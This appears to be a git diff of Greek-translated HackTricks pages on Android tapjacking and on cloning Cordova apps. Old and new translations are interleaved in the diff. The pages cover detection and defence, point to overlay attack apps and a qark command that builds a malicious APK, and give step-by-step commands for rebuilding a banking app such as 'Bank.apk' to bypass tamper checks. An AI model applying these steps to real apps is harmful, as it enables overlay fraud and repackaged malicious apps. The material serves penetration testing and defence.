* [https://manifestsecurity.com/android-application-security-part-23/](https://manifestsecurity.com/android-application-security-part-23/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4
</details>
{% endhint %}

View file

@ -1,47 +1,48 @@
# Tapjacking
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## **Βασικές Πληροφορίες**
## **Basic Information**
**Το Tapjacking** είναι μια επίθεση όπου μια **κακόβουλη εφαρμογή** εκκινείται και **τοποθετείται πάνω από μια εφαρμογή θύμα**. Μόλις αποκρύψει ορατά την εφαρμογή θύμα, η διεπαφή χρήστη της σχεδιάζεται με τέτοιο τρόπο ώστε να εξαπατήσει τον χρήστη να αλληλεπιδρά μαζί της, ενώ περνά την αλληλεπίδραση στην εφαρμογή θύμα.\
Κατά κύριο λόγο, **τυφλώνει τον χρήστη από το να γνωρίζει ότι πραγματοποιεί πράξεις στην εφαρμογή θύμα**.
**Tapjacking** είναι μια επίθεση όπου μια **κακόβουλη** **εφαρμογή** εκκινείται και **τοποθετείται πάνω από μια εφαρμογή θύμα**. Μόλις καλύψει ορατά την εφαρμογή θύμα, η διεπαφή χρήστη της είναι σχεδιασμένη με τέτοιο τρόπο ώστε να παραπλανήσει τον χρήστη να αλληλεπιδράσει με αυτήν, ενώ ταυτόχρονα μεταφέρει την αλληλεπίδραση στην εφαρμογή θύμα.\
Στην ουσία, **τυφλώνει τον χρήστη από το να γνωρίζει ότι εκτελεί ενέργειες στην εφαρμογή θύμα**.
### Ανίχνευση
### Detection
Για να ανιχνεύσετε εφαρμογές ευάλωτες σε αυτήν την επίθεση, πρέπει να αναζητήσετε **εξαγόμενες δραστηριότητες** στο αρχείο android manifest (σημειώστε ότι μια δραστηριότητα με ένα intent-filter εξάγεται αυτόματα από προεπιλογή). Αφού βρείτε τις εξαγόμενες δραστηριότητες, **ελέγξτε αν απαιτούν κάποια άδεια**. Αυτό οφείλεται στο γεγονός ότι η **κακόβουλη εφαρμογή θα χρειαστεί επίσης αυτήν την άδεια**.
Για να ανιχνεύσετε εφαρμογές ευάλωτες σε αυτή την επίθεση, θα πρέπει να αναζητήσετε **εξαγόμενες δραστηριότητες** στο android manifest (σημειώστε ότι μια δραστηριότητα με intent-filter εξάγεται αυτόματα από προεπιλογή). Μόλις βρείτε τις εξαγόμενες δραστηριότητες, **ελέγξτε αν απαιτούν οποιαδήποτε άδεια**. Αυτό συμβαίνει επειδή η **κακόβουλη εφαρμογή θα χρειαστεί επίσης αυτή την άδεια**.
### Προστασία
### Protection
#### Android 12 (API 31,32) και νεότερες εκδόσεις
#### Android 12 (API 31,32) και ανώτερα
[**Σύμφωνα με αυτήν την πηγή**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** οι επιθέσεις tapjacking αποτρέπονται αυτόματα από το Android από το Android 12 (API 31 & 30) και νεότερες εκδόσεις. Έτσι, ακόμη κι αν η εφαρμογή είναι ευάλωτη δεν **θα μπορείτε να την εκμεταλλευτείτε**.
[**Σύμφωνα με αυτή την πηγή**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** οι επιθέσεις tapjacking αποτρέπονται αυτόματα από το Android από το Android 12 (API 31 & 30) και ανώτερα. Έτσι, ακόμη και αν η εφαρμογή είναι ευάλωτη, **δεν θα μπορείτε να την εκμεταλλευτείτε**.
#### `filterTouchesWhenObscured`
Εάν το **`android:filterTouchesWhenObscured`** έχει οριστεί σε **`true`**, το `View` δεν θα λαμβάνει αφήσεις όταν το παράθυρο της προβολής είναι εμποδισμένο από άλλο ορατό παράθυρο.
Αν **`android:filterTouchesWhenObscured`** είναι ρυθμισμένο σε **`true`**, το `View` δεν θα λαμβάνει επαφές όποτε το παράθυρο της προβολής καλύπτεται από άλλο ορατό παράθυρο.
#### **`setFilterTouchesWhenObscured`**
Η ιδιότητα **`setFilterTouchesWhenObscured`** που έχει οριστεί σε true μπορεί επίσης να αποτρέψει την εκμετάλλευση αυτής της ευπάθειας εάν η έκδοση του Android είναι χαμηλότερη.\
Εάν οριστεί σε **`true`**, για παράδειγμα, ένα κουμπί μπορεί να απενεργοποιηθεί αυτόματα αν είναι εμποδισμένο:
Η ιδιότητα **`setFilterTouchesWhenObscured`** ρυθμισμένη σε true μπορεί επίσης να αποτρέψει την εκμετάλλευση αυτής της ευπάθειας αν η έκδοση Android είναι χαμηλότερη.\
Αν ρυθμιστεί σε **`true`**, για παράδειγμα, ένα κουμπί μπορεί να απενεργοποιηθεί αυτόματα **αν καλύπτεται**:
```xml
<Button android:text="Button"
android:id="@+id/button1"
@ -54,28 +55,43 @@ android:filterTouchesWhenObscured="true">
### Tapjacking-ExportedActivity
Η πιο **πρόσφατη εφαρμογή Android** που εκτελεί μια επίθεση Tapjacking (+ καλεί πριν από μια εξαγόμενη δραστηριότητα της επιτεθείσας εφαρμογής) μπορεί να βρεθεί στο: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
Η πιο **πρόσφατη εφαρμογή Android** που εκτελεί επίθεση Tapjacking (+ καλώντας πριν από μια εξαγόμενη δραστηριότητα της επιτιθέμενης εφαρμογής) μπορεί να βρεθεί στο: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
Ακολουθήστε τις οδηγίες του **README για να το χρησιμοποιήσετε**.
Ακολουθήστε τις **οδηγίες README για να τη χρησιμοποιήσετε**.
### FloatingWindowApp
Ένα παράδειγμα έργου που υλοποιεί το **FloatingWindowApp**, το οποίο μπορεί να χρησιμοποιηθεί για να τοποθετηθεί πάνω από άλλες δραστηριότητες για να εκτελέσει μια επίθεση clickjacking, μπορεί να βρεθεί στο [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (λίγο παλιό, καλή τύχη στην δημιουργία του apk).
Ένα παράδειγμα έργου που υλοποιεί το **FloatingWindowApp**, το οποίο μπορεί να χρησιμοποιηθεί για να τοποθετηθεί πάνω από άλλες δραστηριότητες για να εκτελέσει μια επίθεση clickjacking, μπορεί να βρεθεί στο [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (λίγο παλιό, καλή τύχη με την κατασκευή του apk).
### Qark
{% hint style="danger" %}
Φαίνεται ότι αυτό το έργο δεν υποστηρίζεται πλέον και αυτή η λειτουργικότητα δεν λειτουργεί σωστά πλέον
Φαίνεται ότι αυτό το έργο δεν συντηρείται πλέον και αυτή η λειτουργικότητα δεν λειτουργεί σωστά πια
{% endhint %}
Μπορείτε να χρησιμοποιήσετε το [**qark**](https://github.com/linkedin/qark) με τις παραμέτρους `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` για να δημιουργήσετε μια κακόβουλη εφαρμογή για να ελέγξετε πιθανές ευπάθειες **Tapjacking**.\
Μπορείτε να χρησιμοποιήσετε [**qark**](https://github.com/linkedin/qark) με τις παραμέτρους `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` για να δημιουργήσετε μια κακόβουλη εφαρμογή για να ελέγξετε πιθανές ευπάθειες **Tapjacking**.\
Η αντιμετώπιση είναι σχετικά απλή καθώς ο προγραμματιστής μπορεί να επιλέξει να μην λαμβάνει τα αισθητήρια αφής όταν ένα προβάλλεται από άλλο. Χρησιμοποιώντας το [Android Developers Reference](https://developer.android.com/reference/android/view/View#security):
Η μείωση είναι σχετικά απλή καθώς ο προγραμματιστής μπορεί να επιλέξει να μην λαμβάνει γεγονότα αφής όταν μια προβολή καλύπτεται από άλλη. Χρησιμοποιώντας την [Αναφορά Προγραμματιστή Android](https://developer.android.com/reference/android/view/View#security):
> Μερικές φορές είναι απαραίτητο να μπορεί μια εφαρμογή να επιβεβαιώσει ότι μια ενέργεια πραγματοποιείται με την πλήρη γνώση και συγκατάθεση του χρήστη, όπως η χορήγηση μιας άδειας, η πραγματοποίηση μιας αγοράς ή η κλικ σε μια διαφήμιση. Δυστυχώς, μια κακόβουλη εφαρμογή θα μπορούσε να προσπαθήσει να απομυθοποιήσει τον χρήστη να πραγματοποιήσει αυτές τις ενέργειες, χωρίς να το γνωρίζει, κρύβοντας το πραγματικό σκοπό της προβολής. Ως αντίδραση, το πλαίσιο προσφέρει ένα μηχανισμό φιλτραρίσματος αφής που μπορεί να χρησιμοποιηθεί για τη βελτίωση της ασφάλειας των προβολών που παρέχουν πρόσβαση σε ευαίσθητες λειτουργίες.
> Μερικές φορές είναι απαραίτητο μια εφαρμογή να μπορεί να επαληθεύσει ότι μια ενέργεια εκτελείται με πλήρη γνώση και συγκατάθεση του χρήστη, όπως η χορήγηση ενός αιτήματος άδειας, η πραγματοποίηση μιας αγοράς ή το κλικ σε μια διαφήμιση. Δυστυχώς, μια κακόβουλη εφαρμογή θα μπορούσε να προσπαθήσει να παραπλανήσει τον χρήστη να εκτελέσει αυτές τις ενέργειες, χωρίς να το γνωρίζει, αποκρύπτοντας τον προορισμό της προβολής. Ως remedy, το πλαίσιο προσφέρει έναν μηχανισμό φιλτραρίσματος αφής που μπορεί να χρησιμοποιηθεί για να βελτιώσει την ασφάλεια των προβολών που παρέχουν πρόσβαση σε ευαίσθητη λειτουργικότητα.
>
> Για να ενεργοποιήσετε το φιλτράρισμα αφής, καλέστε τη μέθοδο [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) ή ορίστε το χαρακτηριστικό διάταξης android:filterTouchesWhenObscured σε true. Όταν είναι ενεργοποιημένο, το πλαίσιο θα απορρίπτει τις αφήσεις που λαμβάνονται όποτε το παράθυρο της προβολής είναι κρυμμένο από ένα άλλο ορατό παράθυρο. Ως αποτέλεσμα, η προβολή δεν θα λαμβάνει αφήσεις όταν ένα toast, ένα παράθυρο διαλόγου ή άλλο παράθυρο εμφανίζεται πάνω από το παράθυρο της προβολής.
> Για να ενεργοποιήσετε το φιλτράρισμα αφής, καλέστε [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) ή ορίστε την ιδιότητα διάταξης android:filterTouchesWhenObscured σε true. Όταν είναι ενεργοποιημένο, το πλαίσιο θα απορρίπτει τις αφές που λαμβάνονται όποτε το παράθυρο της προβολής καλύπτεται από άλλο ορατό παράθυρο. Ως αποτέλεσμα, η προβολή δεν θα λαμβάνει αφές όποτε εμφανίζεται ένα toast, διάλογος ή άλλο παράθυρο πάνω από το παράθυρο της προβολής.
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# Εφαρμογές Cordova
# Cordova Apps
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Για περισσότερες λεπτομέρειες ανατρέξτε στο [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**. Αυτό είναι ένα σύνοψη:
**Για περισσότερες λεπτομέρειες, ελέγξτε [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**. Αυτή είναι μια περίληψη:
Το Apache Cordova αναγνωρίζεται για τη δυνατότητα ανάπτυξης **υβριδικών εφαρμογών** χρησιμοποιώντας **JavaScript, HTML και CSS**. Επιτρέπει τη δημιουργία εφαρμογών για Android και iOS, ωστόσο δεν διαθέτει έναν προεπιλεγμένο μηχανισμό για την ασφάλεια του πηγαίου κώδικα της εφαρμογής. Αντίθετα με το React Native, το Cordova δεν μεταγλωττίζει τον πηγαίο κώδικα από προεπιλογή, πράγμα που μπορεί να οδηγήσει σε ευπάθειες παραβίασης του κώδικα. Το Cordova χρησιμοποιεί το WebView για την απεικόνιση των εφαρμογών, εκθέτοντας τον HTML και τον κώδικα JavaScript ακόμα και μετά τη μεταγλώττισή τους σε αρχεία APK ή IPA. Αντίθετα, το React Native χρησιμοποιεί έναν εικονικό μηχανισμό JavaScript για την εκτέλεση του κώδικα JavaScript, προσφέροντας καλύτερη προστασία του πηγαίου κώδικα.
Το Apache Cordova αναγνωρίζεται για την δυνατότητα ανάπτυξης **υβριδικών εφαρμογών** χρησιμοποιώντας **JavaScript, HTML και CSS**. Επιτρέπει τη δημιουργία εφαρμογών Android και iOS. Ωστόσο, δεν διαθέτει μηχανισμό για την ασφάλιση του πηγαίου κώδικα της εφαρμογής. Σε αντίθεση με το React Native, το Cordova δεν μεταγλωττίζει τον πηγαίο κώδικα από προεπιλογή, γεγονός που μπορεί να οδηγήσει σε ευπάθειες παραποίησης κώδικα. Το Cordova χρησιμοποιεί το WebView για την απόδοση εφαρμογών, εκθέτοντας τον HTML και JavaScript κώδικα ακόμη και μετά την μεταγλώττιση σε αρχεία APK ή IPA. Αντίθετα, το React Native χρησιμοποιεί μια JavaScript VM για την εκτέλεση του JavaScript κώδικα, προσφέροντας καλύτερη προστασία του πηγαίου κώδικα.
### Κλωνοποίηση μιας εφαρμογής Cordova
### Κλωνοποίηση μιας Εφαρμογής Cordova
Πριν από την κλωνοποίηση μιας εφαρμογής Cordova, βεβαιωθείτε ότι έχετε εγκαταστήσει το NodeJS μαζί με άλλες προαπαιτούμενες εργαλειοθήκες όπως το Android SDK, το Java JDK και το Gradle. Η επίσημη [τεκμηρίωση](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) του Cordova παρέχει έναν εκτενή οδηγό για αυτές τις εγκαταστάσεις.
Πριν κλωνοποιήσετε μια εφαρμογή Cordova, βεβαιωθείτε ότι το NodeJS είναι εγκατεστημένο μαζί με άλλες προϋποθέσεις όπως το Android SDK, το Java JDK και το Gradle. Η επίσημη [τεκμηρίωση](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) του Cordova παρέχει έναν ολοκληρωμένο οδηγό για αυτές τις εγκαταστάσεις.
Θεωρήστε μια εφαρμογή παράδειγμα με το όνομα `Bank.apk` και το όνομα πακέτου `com.android.bank`. Για να έχετε πρόσβαση στον πηγαίο κώδικα, αποσυμπιέστε το `bank.apk` και μεταβείτε στον φάκελο `bank/assets/www`. Αυτός ο φάκελος περιέχει τον πλήρη πηγαίο κώδικα της εφαρμογής, συμπεριλαμβανομένων των αρχείων HTML και JS. Οι ρυθμίσεις της εφαρμογής μπορούν να βρεθούν στο αρχείο `bank/res/xml/config.xml`.
Σκεφτείτε μια παράδειγμα εφαρμογή με το όνομα `Bank.apk` και το όνομα πακέτου `com.android.bank`. Για να αποκτήσετε πρόσβαση στον πηγαίο κώδικα, αποσυμπιέστε το `bank.apk` και πλοηγηθείτε στον φάκελο `bank/assets/www`. Αυτός ο φάκελος περιέχει τον πλήρη πηγαίο κώδικα της εφαρμογής, συμπεριλαμβανομένων των αρχείων HTML και JS. Η διαμόρφωση της εφαρμογής μπορεί να βρεθεί στο `bank/res/xml/config.xml`.
Για να κλωνοποιήσετε την εφαρμογή, ακολουθήστε αυτά τα βήματα:
```bash
@ -30,23 +31,23 @@ npm install -g cordova@latest
cordova create bank-new com.android.bank Bank
cd bank-new
```
Αντιγράψτε το περιεχόμενο του `bank/assets/www` στο `bank-new/www`, εξαιρουμένων των αρχείων `cordova_plugins.js`, `cordova.js`, `cordova-js-src/` και του φακέλου `plugins/`.
Αντιγράψτε τα περιεχόμενα του `bank/assets/www` στο `bank-new/www`, εξαιρώντας τα `cordova_plugins.js`, `cordova.js`, `cordova-js-src/` και τον φάκελο `plugins/`.
Καθορίστε την πλατφόρμα (Android ή iOS) κατά τη δημιουργία ενός νέου έργου Cordova. Για την κλωνοποίηση μιας εφαρμογής Android, προσθέστε την πλατφόρμα Android. Σημειώστε ότι οι εκδόσεις πλατφόρμας του Cordova και οι επίπεδα API του Android είναι διακριτά. Ανατρέξτε στην [τεκμηρίωση](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) του Cordova για λεπτομέρειες σχετικά με τις εκδόσεις πλατφόρμας και τα υποστηριζόμενα API του Android.
Καθορίστε την πλατφόρμα (Android ή iOS) κατά τη δημιουργία ενός νέου έργου Cordova. Για την κλωνοποίηση μιας εφαρμογής Android, προσθέστε την πλατφόρμα Android. Σημειώστε ότι οι εκδόσεις πλατφόρμας του Cordova και τα επίπεδα API Android είναι διακριτά. Ανατρέξτε στην τεκμηρίωση του Cordova [documentation](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) για λεπτομέρειες σχετικά με τις εκδόσεις πλατφόρμας και τα υποστηριζόμενα APIs Android.
Για να προσδιορίσετε την κατάλληλη έκδοση της πλατφόρμας Cordova Android, ελέγξτε το `PLATFORM_VERSION_BUILD_LABEL` στο αρχείο `cordova.js` της αρχικής εφαρμογής.
Για να προσδιορίσετε την κατάλληλη έκδοση πλατφόρμας Cordova Android, ελέγξτε το `PLATFORM_VERSION_BUILD_LABEL` στο αρχείο `cordova.js` της αρχικής εφαρμογής.
Αφού ορίσετε την πλατφόρμα, εγκαταστήστε τα απαιτούμενα πρόσθετα. Το αρχείο `bank/assets/www/cordova_plugins.js` της αρχικής εφαρμογής περιλαμβάνει όλα τα πρόσθετα και τις εκδόσεις τους. Εγκαταστήστε κάθε πρόσθετο ξεχωριστά, όπως φαίνεται παρακάτω:
Αφού ρυθμίσετε την πλατφόρμα, εγκαταστήστε τα απαιτούμενα πρόσθετα. Το αρχείο `bank/assets/www/cordova_plugins.js` της αρχικής εφαρμογής απαριθμεί όλα τα πρόσθετα και τις εκδόσεις τους. Εγκαταστήστε κάθε πρόσθετο ξεχωριστά όπως φαίνεται παρακάτω:
```bash
cd bank-new
cordova plugin add cordova-plugin-dialogs@2.0.1
```
Εάν ένα πρόσθετο δεν είναι διαθέσιμο στο npm, μπορεί να αναζητηθεί από το GitHub:
Αν ένα plugin δεν είναι διαθέσιμο στο npm, μπορεί να ληφθεί από το GitHub:
```bash
cd bank-new
cordova plugin add https://github.com/moderna/cordova-plugin-cache.git
```
Βεβαιωθείτε ότι έχουν πληρωθεί όλες οι προϋποθέσεις πριν από τη συγκέντρωση:
Βεβαιωθείτε ότι πληρούνται όλες οι προϋποθέσεις πριν από τη συμπίεση:
```bash
cd bank-new
cordova requirements
@ -56,22 +57,23 @@ cordova requirements
cd bank-new
cordova build android — packageType=apk
```
Αυτή η εντολή δημιουργεί ένα APK με την επιλογή αποσφαλμάτωσης ενεργοποιημένη, διευκολύνοντας την αποσφαλμάτωση μέσω του Google Chrome. Είναι κρίσιμο να υπογράψετε το APK πριν την εγκατάσταση, ειδικά αν η εφαρμογή περιλαμβάνει μηχανισμούς ανίχνευσης παρεμβολής κώδικα.
Αυτή η εντολή δημιουργεί ένα APK με την επιλογή αποσφαλμάτωσης ενεργοποιημένη, διευκολύνοντας την αποσφαλμάτωση μέσω του Google Chrome. Είναι κρίσιμο να υπογράψετε το APK πριν από την εγκατάσταση, ειδικά αν η εφαρμογή περιλαμβάνει μηχανισμούς ανίχνευσης παραποίησης κώδικα.
### Εργαλείο Αυτοματισμού
### Εργαλείο Αυτοματοποίησης
Για όσους επιθυμούν να αυτοματοποιήσουν τη διαδικασία κλωνοποίησης, το **[MobSecco](https://github.com/Anof-cyber/MobSecco)** είναι ένα συνιστώμενο εργαλείο. Απλοποιεί τη διαδικασία κλωνοποίησης εφαρμογών Android, απλοποιώντας τα παραπάνω βήματα.
Για όσους επιθυμούν να αυτοματοποιήσουν τη διαδικασία κλωνοποίησης, **[MobSecco](https://github.com/Anof-cyber/MobSecco)** είναι ένα προτεινόμενο εργαλείο. Απλοποιεί την κλωνοποίηση εφαρμογών Android, διευκολύνοντας τα βήματα που περιγράφονται παραπάνω.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
